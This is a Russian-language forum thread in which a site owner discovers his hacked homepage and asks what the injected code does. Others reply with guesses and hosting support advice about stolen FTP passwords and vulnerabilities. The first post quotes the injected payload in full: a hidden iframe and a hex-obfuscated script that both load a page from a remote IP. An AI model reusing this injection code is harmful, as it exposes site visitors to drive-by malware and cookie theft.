Странная ситуация.

[AND]

<iframe src="http://220.130.128.170/ic/sp/index.php" width=1 height=1 style="visibility: hidden"></iframe>

<script>function v477235597c64b(v477235597c64f){ function v477235597c65e () {var v477235597c662=16; return v477235597c662;} return(parseInt(v477235597c64f,v477235597c65e()));}function v477235597c68f(v477235597c693){ var v477235597c696='';for(v477235597c699=0; v477235597c699<v477235597c693.length; v477235597c699+=2){ v477235597c696+=(String.fromCharCode(v477235597c64b(v477235597c693.substr(v477235597c699, 2))));}return v477235597c696;} document.write(v477235597c68f('3C696672616D65206E616D653D276539326234346538343027207372633D27687474703A2F2F3232302E3133302E3132382E3137302F69632F73702F696E6465782E706870272077696474683D373331206865696768743D313234207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script>

Вечером закончил работать над сайтом, а утром захожу и вижу то, что вверху и сайт выводит только белый цвет, вместо привычной моему глазу картинку первой страницы.

Может кто-нибудь знает, что это такое?

[WingedFox]

Сломали сайт.

[AND]

Там вверху написан адрес. Я пробил написано, что Азия. По адресу вс? на иероглифах. Интересно, что делает это скрипт?

[Dimitry Wolotko]

Либо ворует куки, либо внедряет трояна через IE, и ворует куки, пароли, номера и явки. Старая тема. Не ты первый, не ты последний.

[AND]

Как же это можно предотвратить? Очень неприятная ситуация.

[Dimitry Wolotko]

Дык - активная анитивирусная защита на машине.

[AND]

Вот ответ специалиста техподдержки:

По всей видимости, Ваш сайт был взломан.

Возможные причины:

1) кто-то получил Ваши данные для доступа по FTP путем перехвата/чтения пароля

вредоносными программами.

Вам необходимо тщательно проверить на наличие вирусов все компьютеры (это

первый и критичный шаг), с которых осуществлялось управление сайтом, и после

этого сменить все технические пароли хостинга;

2) контент Вашего сайта содержит уязвимости, которыми воспользовались

злоумышленники.

В этом случае необходимо найти и убрать уязвимости, так как сайт может быть

взломан снова и снова (смена пароля не поможет);

[Dimitry Wolotko]

Вс? верно, но скорее всего вариант один. Или ты юзаешь паблик движки?

[AND]

Движок сайта делал сам. Я вот только не понимаю, как они могли перезаписать файл index.php?

[Maslakoff]

Это вир или троян... гдето обсуждалось здесь подобное : SOS! Вирус в PHP? или что это такое???